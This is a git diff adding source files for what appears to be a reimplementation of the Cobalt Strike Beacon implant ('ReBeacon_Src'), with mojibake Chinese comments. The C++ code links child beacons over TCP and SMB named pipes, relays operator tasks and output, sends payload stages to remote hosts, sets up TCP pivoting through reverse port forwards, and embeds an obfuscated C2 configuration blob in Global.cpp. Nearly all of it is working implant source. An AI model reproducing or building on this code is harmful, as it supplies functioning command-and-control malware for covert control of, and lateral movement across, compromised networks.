+1,765 @@ +#include "ChildBeacon.h" +#include "Beaconrportfwd.h" + + +//ӵbeacon +ChildBeaconInfo gChildBeaconInfo[40] = {0}; +int gChildBeaconInfoSize = 40; + +void BeaconNull() +{ + return; +} + +//************************************ +// Method: GetChildBeaconMsgHeader +// FullName: GetChildBeaconMsgHeader +// Access: public +// Returns: char* +// Qualifier:ȡbeacon (tcpsmb) ͨϢͷ +// Parameter: int id +// Parameter: int * out_size +// Parameter: DWORD size +//************************************ +char* GetChildBeaconMsgHeader(int id, int* out_size, DWORD size) +{ + datap pdatap; + char* frame_header = get_str(id); + BeaconDataParse(&pdatap, frame_header, 128); + int datasize = BeaconDataShort(&pdatap); + + char* messagesheader = BeaconDataPtr(&pdatap, datasize); + + //Packer packer = new Packer(); + //packer.addShort(bytes.length + 4); + //packer.append(bytes); + *(int*)&messagesheader[datasize - 4] = size; + *out_size = datasize; + return messagesheader; +} + +/// +/// recvװ +/// +/// +/// +/// +/// +int RecvTcpData(int size, SOCKET s, char* data) +{ + int number = 0; + if (size <= 0) + { + if (number == size) + { + return size; + } + } + else + { + while (1) + { + int retsize = recv(s, &data[number], size - number, 0); + if (retsize == -1) + { + break; + } + if (retsize) + { + number += retsize; + if (number < size) + { + continue; + } + } + if (number == size) + { + return size; + } + retsize -1; + } + } + return -1; +} + +int recvTcpChildBeacon(ChildBeacon* pTcpBeacon, char* pdata, int size) +{ + int outsize; + char* data = GetChildBeaconMsgHeader(58, &outsize, 0); + int recvsize = RecvTcpData(outsize, pTcpBeacon->tcp, data); + if (recvsize == -1) + { + return -1; + } + if (recvsize != outsize) + { + return -1; + } + int len = *(DWORD*)&data[outsize - 4]; + if (len > size || len < 0) + { + return -1; + } + else + { + return RecvTcpData(len, pTcpBeacon->tcp, pdata); + } +} + +/// +/// sendװ +/// +/// +/// +/// +/// +BOOL SendTcpData(SOCKET s, char* buf, int len) +{ + return !len || send(s, buf, len, 0) != -1; +} + +BOOL sendTcpChildBeacon(ChildBeacon* pTcpBeacon, char* buffer, int buffsize) +{ + + int len; + char* data = GetChildBeaconMsgHeader(58, &len, buffsize); + BOOL ret = SendTcpData(pTcpBeacon->tcp, data, len); + if (ret) + { + return SendTcpData(pTcpBeacon->tcp, buffer, buffsize); + } + return ret; +} + + +int closeTcpChildBeacon(ChildBeacon* pTcpBeacon) +{ + shutdown(pTcpBeacon->tcp, 2); + return closesocket(pTcpBeacon->tcp); +} + +int checkTcpChildBeaconTimeout(SOCKET s, int time) +{ + + int timea = 0; + int timeout = time + GetTickCount(); + + u_long argp = 1; + if (ioctlsocket(s, FIONBIO, &argp) == -1) + { + return 0; + } + char buf; + while (GetTickCount() < timeout) + { + int recvsize = recv(s, &buf, 1, 2); + if (!recvsize) + { + timea = 0; + break; + } + if (recvsize > 0) + { + timea = 1; + break; + } + if (WSAGetLastError() != 10035) + { + timea = 0; + break; + } + Sleep(0xA); + } + argp = 0; + return ioctlsocket(s, FIONBIO, &argp) != -1 ? timea : 0; +} + +int checkTcpChildBeacon(ChildBeacon* pTcpBeacon, int time) +{ + return checkTcpChildBeaconTimeout(pTcpBeacon->tcp, time); +} + +/// +/// ʼtcpbeacon +/// +/// +/// +/// +ChildBeacon* InitTcpChildBeacon(SOCKET conn, ChildBeacon* pTcpBeacon) +{ + + + u_long argp = 0; + ioctlsocket(conn, FIONBIO, &argp); + pTcpBeacon->FlushFileBuffers = (FlushFileBuffers_ptr)BeaconNull; + pTcpBeacon->null2 = BeaconNull; + pTcpBeacon->tcp = conn; + pTcpBeacon->recvChildBeacon = recvTcpChildBeacon; + pTcpBeacon->sendChildBeacon = sendTcpChildBeacon; + pTcpBeacon->closeChildBeacon = closeTcpChildBeacon; + pTcpBeacon->checkChildBeacon = checkTcpChildBeacon; + return pTcpBeacon; +} + + +SOCKET ConnectTcp(char* name, u_short port) +{ + struct sockaddr address; + SOCKET s = socket(2, 1, 0); + if (s == -1) + { + return -1; + } + hostent* hptr = gethostbyname(name); + if (!hptr) + { + return -1; + } + memcpy(&address.sa_data[2], *(const void**)hptr->h_addr_list, hptr->h_length); + address.sa_family = 2; + *(short*)address.sa_data = htons(port); + + if (connect(s, &address, 16)) + { + closesocket(s); + return -1; + } + return s; +} + +/// +/// smbtcpݵӦһChildBeacon +/// +/// +/// +/// +/// +/// +/// +/// ˲smbFlushFileBuffers +/// +/// +int __cdecl AddChildBeacon( + u_long port, + ChildBeacon* smb, + ChildBeacon* tcp, + recvChildBeacon_ptr recvChildBeacon, + sendChildBeacon_ptr sendChildBeacon, + closeChildBeacon_ptr closeChildBeacon, + void* BeaconNULL, + checkChildBeacon_ptr checkChildBeacon) +{ + + char buffer[256] = { 0 }; + if (!checkChildBeacon(smb, 30000)) + { + return 0; + } + + int recvsize = recvChildBeacon(tcp, buffer, 256); + if (recvsize < 0) + { + return 0; + } + //ȡbeacon id + int ChildBeaconId = *(DWORD*)buffer; + + //ѰҿеĽṹ + int index_idle = -1; + for (size_t i = 0; i < gChildBeaconInfoSize; i++) + { + + if (gChildBeaconInfo[i].state == 0) + { + index_idle = i; + break; + } + } + //ûҵֱӷerror + if (index_idle == -1) + { + BeaconErrorNA(5); + return 0; + } + gChildBeaconInfo[index_idle].time = 0; + BOOL checkingdata = gChildBeaconInfo[index_idle].ChildBeaconData == 0; + gChildBeaconInfo[index_idle].state = 1; + gChildBeaconInfo[index_idle].ChildBeaconId = ChildBeaconId; + + + //ӵȫֽṹ + gChildBeaconInfo[index_idle].ChildBeaconConfig.tcp = smb->tcp; + gChildBeaconInfo[index_idle].ChildBeaconConfig.smb = smb->smb; + gChildBeaconInfo[index_idle].ChildBeaconConfig.checkChildBeacon = smb->checkChildBeacon; + gChildBeaconInfo[index_idle].ChildBeaconConfig.closeChildBeacon = smb->closeChildBeacon; + gChildBeaconInfo[index_idle].ChildBeaconConfig.FlushFileBuffers = smb->FlushFileBuffers; + gChildBeaconInfo[index_idle].ChildBeaconConfig.null2 = smb->null2; + gChildBeaconInfo[index_idle].ChildBeaconConfig.recvChildBeacon = smb->recvChildBeacon; + gChildBeaconInfo[index_idle].ChildBeaconConfig.sendChildBeacon = smb->sendChildBeacon; + + if (checkingdata) + { + gChildBeaconInfo[index_idle].ChildBeaconData = (char*)malloc(256); + } + formatp pdata; + BeaconFormatInit(&pdata, gChildBeaconInfo[index_idle].ChildBeaconData, 256); + BeaconFormatInt(&pdata, ChildBeaconId); // beacon id + BeaconFormatInt(&pdata, port); // beacon ˿ + BeaconFormatAppend(&pdata, &buffer[4], recvsize - 4); // beacon + int ChildBeaconDatalength = BeaconFormatlength(&pdata); + char* ChildBeaconData = gChildBeaconInfo[index_idle].ChildBeaconData; + gChildBeaconInfo[index_idle].ChildBeaconDataSize = ChildBeaconDatalength; + BeaconTaskOutput(ChildBeaconData, ChildBeaconDatalength, 10); + return 1; +} + +/// +/// tcpBeacon +/// +/// +/// +void connect_tcp_child_Beacon(char* Taskdata, int Task_size) +{ + + DWORD timeout = GetTickCount() + 15000; + datap pdatap; + BeaconDataParse(&pdatap, Taskdata, Task_size); + short port = BeaconDataShort(&pdatap); + char* name = BeaconDataBuffer(&pdatap); + init_socket_options(); + SOCKET conn; + while (1) + { + if (GetTickCount() >= timeout) + { + BeaconErrorD(0x44, WSAGetLastError()); + return; + } + conn = ConnectTcp(name, port); + if (conn != -1) + { + break; + } + Sleep(1000); + } + ChildBeacon TcpBeacon = {0}; + InitTcpChildBeacon(conn, &TcpBeacon); + AddChildBeacon( + port | 0x100000, + &TcpBeacon, + &TcpBeacon, + TcpBeacon.recvChildBeacon, + TcpBeacon.sendChildBeacon, + TcpBeacon.closeChildBeacon, + TcpBeacon.FlushFileBuffers, + TcpBeacon.checkChildBeacon); +} + + +void BeaconUnlink(u_long ChildBeaconId) +{ + size_t i; + for (i = 0; i <= gChildBeaconInfoSize; i++) + { + if (ChildBeaconId == gChildBeaconInfo[i].ChildBeaconId || gChildBeaconInfo[i].state == 1) + { + break; + } + if (i >= gChildBeaconInfoSize) + { + return; + } + } + ChildBeaconId = htonl(ChildBeaconId); + BeaconTaskOutput((char*)&ChildBeaconId, 4, 0xB); + + + gChildBeaconInfo[i].ChildBeaconConfig.closeChildBeacon(&gChildBeaconInfo[i].ChildBeaconConfig); + + gChildBeaconInfo[i].ChildBeaconId = 0; + gChildBeaconInfo[i].state = 0; + gChildBeaconInfo[i].time = 0; +} + +char* pChildbeacondata = NULL; + +/// +/// beaconʱcs᲻Ϸ22ܺŵô˺ +/// +/// +/// +void BeaconRequestChildBeacon(char* Taskdata, int Task_size) +{ + if (!pChildbeacondata) + { + pChildbeacondata = (char*)malloc(0x100000u); + } + int ChildBeaconId = ntohl(*(u_long*)Taskdata); + + size_t i; + for (i = 0; i <= gChildBeaconInfoSize; i++) + { + if (ChildBeaconId == gChildBeaconInfo[i].ChildBeaconId || gChildBeaconInfo[i].state == 1) + { + int retsize = 0; + if (Task_size - 4 <= 0) + { + retsize = gChildBeaconInfo[i].ChildBeaconConfig.sendChildBeacon( + &gChildBeaconInfo[i].ChildBeaconConfig, + 0, + 0 + ); + } + else + { + retsize = gChildBeaconInfo[i].ChildBeaconConfig.sendChildBeacon( + &gChildBeaconInfo[i].ChildBeaconConfig, + Taskdata + 4, + Task_size - 4 + ); + } + if (retsize) + { + *(int*)pChildbeacondata = *(int*)Taskdata; + BOOL check = gChildBeaconInfo[i].ChildBeaconConfig.checkChildBeacon( + &gChildBeaconInfo[i].ChildBeaconConfig, + 300000 + ); + int outsize = 0; + if (check) + { + outsize = gChildBeaconInfo[i].ChildBeaconConfig.recvChildBeacon( + &gChildBeaconInfo[i].ChildBeaconConfig, + pChildbeacondata + 4, + 0x100000 - 4 + ); + } + else + { + outsize = -1; + } + + if (outsize <= 0) + { + if (outsize) + { + BeaconUnlink(ChildBeaconId); + } + else + { + BeaconTaskOutput(pChildbeacondata, 4u, 0xC); + } + } + else + { + BeaconTaskOutput(pChildbeacondata, outsize + 4, 0xC); + } + } + else + { + BeaconUnlink(ChildBeaconId); + } + + + } + if (i >= gChildBeaconInfoSize) + { + return; + } + } + +} + +int SendStageTCP(char* Taskdata, int Task_size) +{ + int timeout = GetTickCount() + 60000; + datap pdatap; + BeaconDataParse(&pdatap, Taskdata, Task_size); + char* name = BeaconDataPtr2(&pdatap); + int port = BeaconDataInt(&pdatap); + char* buf = (char*)BeaconDataBuffer(&pdatap); + int len = BeaconDataLength(&pdatap); + init_socket_options(); + SOCKET s =0; + while (1) + { + if (GetTickCount() >= timeout) + { + BeaconErrorNA(0x46); + Sleep(1000); + return closesocket(s); + } + s = ConnectTcp(name, port); + if (s != -1) + { + break; + } + Sleep(1000); + } + send(s, buf, len, 0); + Sleep(1000); + return closesocket(s); +} + + +/////smb beacon + +BOOL __cdecl BeaconFlushFileBuffers(ChildBeacon* pSmbBeacon) +{ + return FlushFileBuffers(pSmbBeacon->smb); +} + +int RecvSmbData(HANDLE hFile, char* buffer,int size) +{ + + DWORD NumberOfBytesRead = 0; + int readsize = 0; + if (size <= 0) + { + if (readsize == size) + { + return readsize; + } + } + else + { + while (ReadFile(hFile, &buffer[readsize], size - readsize, &NumberOfBytesRead, 0) && NumberOfBytesRead) + { + readsize += NumberOfBytesRead; + if (readsize >= size) + { + if (readsize == size) + { + return readsize; + } + return -1; + } + } + } + return -1; +} + +int __cdecl recvSmbChildBeacon(ChildBeacon* pSmbBeacon, char* data, int size) +{ + int outsize; + char* buffer = GetChildBeaconMsgHeader(57, &outsize, 0); + + int read = RecvSmbData(pSmbBeacon->smb, buffer, outsize); + if (read == -1) + { + return -1; + } + if (read != outsize) + { + return -1; + } + int datasize = *(int*)&buffer[outsize - 4]; + if (datasize > size || datasize < 0) + { + return -1; + } + else + { + return RecvSmbData(pSmbBeacon->smb, data, datasize); + } +} + +BOOL __cdecl SendSmbData(HANDLE hFile, char* buffer, int buffersize) +{ + DWORD NumberOfBytesWritten = 0; + int Writesize =0; + if (buffersize > 0) + { + while (1) + { + int nNumberOfBytesToWrite = buffersize - Writesize; + if (nNumberOfBytesToWrite > 0x2000) + { + nNumberOfBytesToWrite = 0x2000; + } + if (!WriteFile(hFile, &buffer[Writesize], nNumberOfBytesToWrite, &NumberOfBytesWritten, 0)) + { + break; + } + Writesize += NumberOfBytesWritten; + if (Writesize >= buffersize) + { + return 1; + } + } + return 0; + } + return 1; +} + +BOOL __cdecl sendSmbChildBeacon(ChildBeacon* pSmbBeacon, char* data, int size) +{ + int outsize; + char* buffer = GetChildBeaconMsgHeader(57, &outsize, size); + if (SendSmbData(pSmbBeacon->smb, buffer, outsize)) + { + return SendSmbData(pSmbBeacon->smb, data, size); + } + return 0; +} +BOOL __cdecl closeSmbChildBeacon(ChildBeacon* pSmbBeacon) +{ + DisconnectNamedPipe(pSmbBeacon->smb); + return CloseHandle(pSmbBeacon->smb); +} +int __cdecl checkSmbChildBeaconTimeout(HANDLE hNamedPipe, int timeout) +{ + DWORD TotalBytesAvail; + int time = timeout + GetTickCount(); + if (GetTickCount() < time) + { + while (PeekNamedPipe(hNamedPipe, 0, 0, 0, &TotalBytesAvail, 0)) + { + if (TotalBytesAvail) + { + return 1; + } + Sleep(10); + if (GetTickCount() >= time) + { + return 0; + } + } + } + return 0; +} +int __cdecl checkSmbChildBeacon(ChildBeacon* pSmbBeacon, int timeout) +{ + return checkSmbChildBeaconTimeout(pSmbBeacon->smb, timeout); +} + + +/// +/// ʼsmb beacon +/// +/// +/// +/// +ChildBeacon* InitSmbChildBeacon(ChildBeacon* pSmbBeacon, HANDLE conn) +{ + pSmbBeacon->smb = conn; + pSmbBeacon->recvChildBeacon = recvSmbChildBeacon; + pSmbBeacon->sendChildBeacon = sendSmbChildBeacon; + pSmbBeacon->closeChildBeacon = closeSmbChildBeacon; + pSmbBeacon->FlushFileBuffers = BeaconFlushFileBuffers; + pSmbBeacon->checkChildBeacon = checkSmbChildBeacon; + pSmbBeacon->null2 = BeaconNull; + return pSmbBeacon; +} + + +void ConnectSmbBeacon(LPCSTR Name) +{ + + int timeout = GetTickCount() + 15000; + HANDLE HFile; + while (1) + { + HFile = CreateFileA(Name, GENERIC_READ|GENERIC_WRITE, 0, 0, 3u, 0x100000, 0); + if (HFile != (HANDLE)-1) + { + break; + } + if (GetLastError() == 231) + { + WaitNamedPipeA(Name, 0x2710); + } + else + { + Sleep(0x3E8u); + } + if (GetTickCount() >= timeout) + { + if (HFile == (HANDLE)-1) + { + if (GetLastError() == 121) + { + BeaconErrorNA(4); + } + else + { + BeaconErrorD(20, GetLastError()); + } + return; + } + } + } + DWORD Mode = PIPE_READMODE_MESSAGE; + ChildBeacon SmbBeacon = { 0 }; + if (SetNamedPipeHandleState(HFile, &Mode, 0, 0)) + { + InitSmbChildBeacon(&SmbBeacon, HFile); + if (AddChildBeacon( + 445, + &SmbBeacon, + &SmbBeacon, + SmbBeacon.recvChildBeacon, + SmbBeacon.sendChildBeacon, + SmbBeacon.closeChildBeacon, + SmbBeacon.FlushFileBuffers, + SmbBeacon.checkChildBeacon)) + { + return; + } + } + else + { + BeaconErrorD(0x14u, GetLastError()); + } + DisconnectNamedPipe(HFile); + CloseHandle(HFile); +} + +void link_Smb_Beacon(char* Taskdata) +{ + ConnectSmbBeacon(Taskdata); +} + + +//************************************ +// Method: BeaconTcpPivot +// FullName: BeaconTcpPivot +// Access: public +// Returns: void +// Qualifier:ܺ82 tcpת +// Parameter: char * Taskdata +// Parameter: int TaskdataSize +//************************************ +void BeaconTcpPivot(char* Taskdata, int TaskdataSize) +{ + datap pdatap; + BeaconDataParse(&pdatap, Taskdata, TaskdataSize); + short port = BeaconDataShort(&pdatap); + SOCKET s = BeaconNewSocket(0, port, 10); + if (s == -1) + { + BeaconErrorD(0x15u, port); + } + else + { + Add_Beacon_Rportfwd(sub_10006D6B(), s, 0, 3, port, 2); + } +} + +/// +/// дbeacon id +/// +void CheckChildBeacon() +{ + ChildBeaconInfo* pgChildBeaconInfo = gChildBeaconInfo; + for (size_t i = 0; i < gChildBeaconInfoSize; i++) + { + if (pgChildBeaconInfo[i].state == 1 && pgChildBeaconInfo[i].time < GetTickCount()) + { + pgChildBeaconInfo[i].time = GetTickCount()+ 15000; + int ChildBeaconId= pgChildBeaconInfo[i].ChildBeaconId; + ChildBeaconId = htonl(ChildBeaconId); + BeaconTaskOutput((char*)&ChildBeaconId, 4u, 14); + } + } +} \ No newline at end of file diff --git a/ReBeacon_Src/ChildBeacon.h b/ReBeacon_Src/ChildBeacon.h new file mode 100644 index 0000000..ca445cd --- /dev/null +++ b/ReBeacon_Src/ChildBeacon.h @@ -0,0 +1,61 @@ +#pragma once +#include "comm.h" +#include "common.h" +///////////////////////////////////// + + + + +/// +/// tcpsmbbeaconĽṹ +/// +struct ChildBeacon +{ + HANDLE smb; /*smb beaconӾ*/ + SOCKET tcp; /*tcp beaconӾ*/ + int(*recvChildBeacon)(ChildBeacon*, char*, int);/*ȡbeacon*/ + int(*sendChildBeacon)(ChildBeacon*, char*, int); /*beacon*/ + int(*closeChildBeacon)(ChildBeacon*); /*رbeacon*/ + BOOL(*FlushFileBuffers)(ChildBeacon*);/*smb beacon*/ + int(*checkChildBeacon)(ChildBeacon*, int);/*beacon*/ + void* null2; /*պ*/ +}; +typedef int (__cdecl* recvChildBeacon_ptr)(ChildBeacon*, char*, int); +typedef int(__cdecl* sendChildBeacon_ptr)(ChildBeacon*, char*, int); /*beacon*/ +typedef int(__cdecl* closeChildBeacon_ptr)(ChildBeacon*); /*رbeacon*/ +typedef BOOL(__cdecl* FlushFileBuffers_ptr)(ChildBeacon*);/*smb beacon*/ +typedef int(__cdecl* checkChildBeacon_ptr)(ChildBeacon*, int);/*beacon*/ + +struct ChildBeaconInfo +{ + int ChildBeaconId; /*beacon id*/ + ChildBeacon ChildBeaconConfig; /*beaconϢ*/ + int state; /*beacon״̬*/ + char* ChildBeaconData; /**/ + int ChildBeaconDataSize; + int time; +}; + +extern ChildBeaconInfo gChildBeaconInfo[40]; +extern int gChildBeaconInfoSize; + +void BeaconRequestChildBeacon(char* Taskdata, int Task_size); + + +void BeaconUnlink(u_long ChildBeaconId); + +int SendStageTCP(char* Taskdata, int Task_size); + +void link_Smb_Beacon(char* Taskdata); + +void BeaconTcpPivot(char* Taskdata, int TaskdataSize); + +void connect_tcp_child_Beacon(char* Taskdata, int Task_size); + +ChildBeacon* InitTcpChildBeacon(SOCKET conn, ChildBeacon* pTcpBeacon); + +int __cdecl AddChildBeacon(u_long port,ChildBeacon* smb,ChildBeacon* tcp, recvChildBeacon_ptr recvChildBeacon, sendChildBeacon_ptr sendChildBeacon, closeChildBeacon_ptr closeChildBeacon,void* BeaconNULL, checkChildBeacon_ptr checkChildBeacon); + +void CheckChildBeacon(); + +int RecvSmbData(HANDLE hFile, char* buffer, int size); \ No newline at end of file diff --git a/ReBeacon_Src/Global.cpp b/ReBeacon_Src/Global.cpp new file mode 100644 index 0000000..06113df --- /dev/null +++ b/ReBeacon_Src/Global.cpp @@ -0,0 +1,446 @@ +#include "Global.h" +HINSTANCE Beacon_Dllbase; + +/// +/// к̨߳ +/// +int BackgroundThreadsNumber; + +PVOID lpStartAddress; + +/*Beacon C2Ϣ*/ +char* CsC2Config = NULL; + + +unsigned char rawData[4096] = { + 0x2E, 0x2F, 0x2E, 0x2F, 0x2E, 0x2C, 0x2E, 0x2E, 0x2E, 0x2C, 0x2E, 0x2F, + 0x2E, 0x2C, 0x2E, 0x7E, 0x2E, 0x2D, 0x2E, 0x2C, 0x2E, 0x2A, 0x2E, 0x2E, + 0xC4, 0x4E, 0x2E, 0x2A, 0x2E, 0x2C, 0x2E, 0x2A, 0x2E, 0x3E, 0x2E, 0x2E, + 0x2E, 0x2B, 0x2E, 0x2F, 0x2E, 0x2C, 0x2E, 0x2E, 0x2E, 0x29, 0x2E, 0x2D, + 0x2F, 0x2E, 0x1E, 0xAF, 0xB1, 0x1E, 0x23, 0x28, 0x27, 0x04, 0xA8, 0x66, + 0xA8, 0xD9, 0x23, 0x2F, 0x2F, 0x2F, 0x2B, 0x2E, 0x2D, 0xAF, 0xA3, 0x2E, + 0x1E, 0xAF, 0xA7, 0x2C, 0xAF, 0xAF, 0x2E, 0x94, 0x94, 0xF1, 0xE6, 0x51, + 0xE0, 0xAC, 0x49, 0xD2, 0x8C, 0x1B, 0xF6, 0xC0, 0x31, 0x83, 0x48, 0x02, + 0x9C, 0xC4, 0xA9, 0xBD, 0x0B, 0x71, 0x78, 0xE3, 0x36, 0xFA, 0x06, 0xD7, + 0x5E, 0x55, 0xB2, 0xFF, 0x3C, 0x04, 0x87, 0x36, 0xD9, 0xDA, 0xE7, 0xF1, + 0x4E, 0x42, 0x80, 0x74, 0xE2, 0x39, 0xF1, 0xFE, 0x1E, 0x5E, 0xE1, 0x0E, + 0xA6, 0x0F, 0x3E, 0xAC, 0x60, 0x1F, 0xB3, 0x81, 0x43, 0x6C, 0x41, 0x3B, + 0x12, 0x3F, 0x07, 0x22, 0x07, 0xDE, 0x68, 0x38, 0xD6, 0x8A, 0x8A, 0xF0, + 0x74, 0x0A, 0xFF, 0x63, 0x8E, 0xB2, 0x0B, 0x0A, 0xED, 0x6C, 0xCF, 0x48, + 0x11, 0x38, 0xC6, 0x96, 0xDD, 0x3C, 0x07, 0x42, 0x72, 0x1A, 0x8D, 0xBE, + 0x69, 0x89, 0xE3, 0x18, 0x79, 0x7A, 0x85, 0x86, 0x93, 0x8A, 0x1C, 0x46, + 0xEE, 0xFA, 0x8D, 0xED, 0x0D, 0x5B, 0x17, 0x97, 0x9D, 0xD3, 0xDD, 0xEC, + 0x5B, 0x1D, 0xEB, 0x2C, 0x2D, 0x2F, 0x2E, 0x2F, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x26, 0x2E, 0x2D, 0x2F, 0x2E, + 0x1F, 0x17, 0x1C, 0x00, 0x1F, 0x18, 0x16, 0x00, 0x1F, 0x00, 0x1D, 0x1B, + 0x02, 0x01, 0x4D, 0x4F, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x6D, 0x2E, 0x2F, 0x2E, 0x2C, 0x2E, 0x2E, + 0x2E, 0x6A, 0x2E, 0x2C, 0x2E, 0x2A, 0xD1, 0xD1, 0xD1, 0xD1, 0x2E, 0x6B, + 0x2E, 0x2C, 0x2E, 0x2A, 0xD1, 0xD1, 0xD1, 0xD1, 0x2E, 0x68, 0x2E, 0x2C, + 0x2E, 0x2A, 0xD1, 0xD1, 0xD1, 0xD1, 0x2E, 0x20, 0x2E, 0x2D, 0x2E, 0x3E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x33, 0x2E, 0x2D, 0x2E, 0x6E, 0x0B, 0x59, + 0x47, 0x40, 0x4A, 0x47, 0x5C, 0x0B, 0x72, 0x5D, 0x57, 0x5D, 0x59, 0x41, + 0x59, 0x18, 0x1A, 0x72, 0x5C, 0x5B, 0x40, 0x4A, 0x42, 0x42, 0x1D, 0x1C, + 0x00, 0x4B, 0x56, 0x4B, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x30, 0x2E, 0x2D, 0x2E, 0x6E, 0x0B, 0x59, 0x47, 0x40, + 0x4A, 0x47, 0x5C, 0x0B, 0x72, 0x5D, 0x57, 0x5D, 0x40, 0x4F, 0x5A, 0x47, + 0x58, 0x4B, 0x72, 0x5C, 0x5B, 0x40, 0x4A, 0x42, 0x42, 0x1D, 0x1C, 0x00, + 0x4B, 0x56, 0x4B, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x31, 0x2E, 0x2F, 0x2E, 0x2C, 0x2E, 0x2E, 0x2E, 0x34, 0x2E, 0x2D, + 0x2E, 0x3E, 0x69, 0x6B, 0x7A, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x35, 0x2E, 0x2D, 0x2E, 0x3E, + 0x7E, 0x61, 0x7D, 0x7A, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x32, 0x2E, 0x2C, 0x2E, 0x2A, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x0B, 0x2E, 0x2C, 0x2E, 0x2A, 0x67, 0xB8, 0x2C, 0xFC, + 0x2E, 0x08, 0x2E, 0x2F, 0x2E, 0x2C, 0x2E, 0x2E, 0x2E, 0x09, 0x2E, 0x2F, + 0x2E, 0x2C, 0x2E, 0x2E, 0x2E, 0x27, 0x2E, 0x2D, 0x2F, 0x2E, 0x63, 0x41, + 0x54, 0x47, 0x42, 0x42, 0x4F, 0x01, 0x1B, 0x00, 0x1E, 0x0E, 0x06, 0x4D, + 0x41, 0x43, 0x5E, 0x4F, 0x5A, 0x47, 0x4C, 0x42, 0x4B, 0x15, 0x0E, 0x63, + 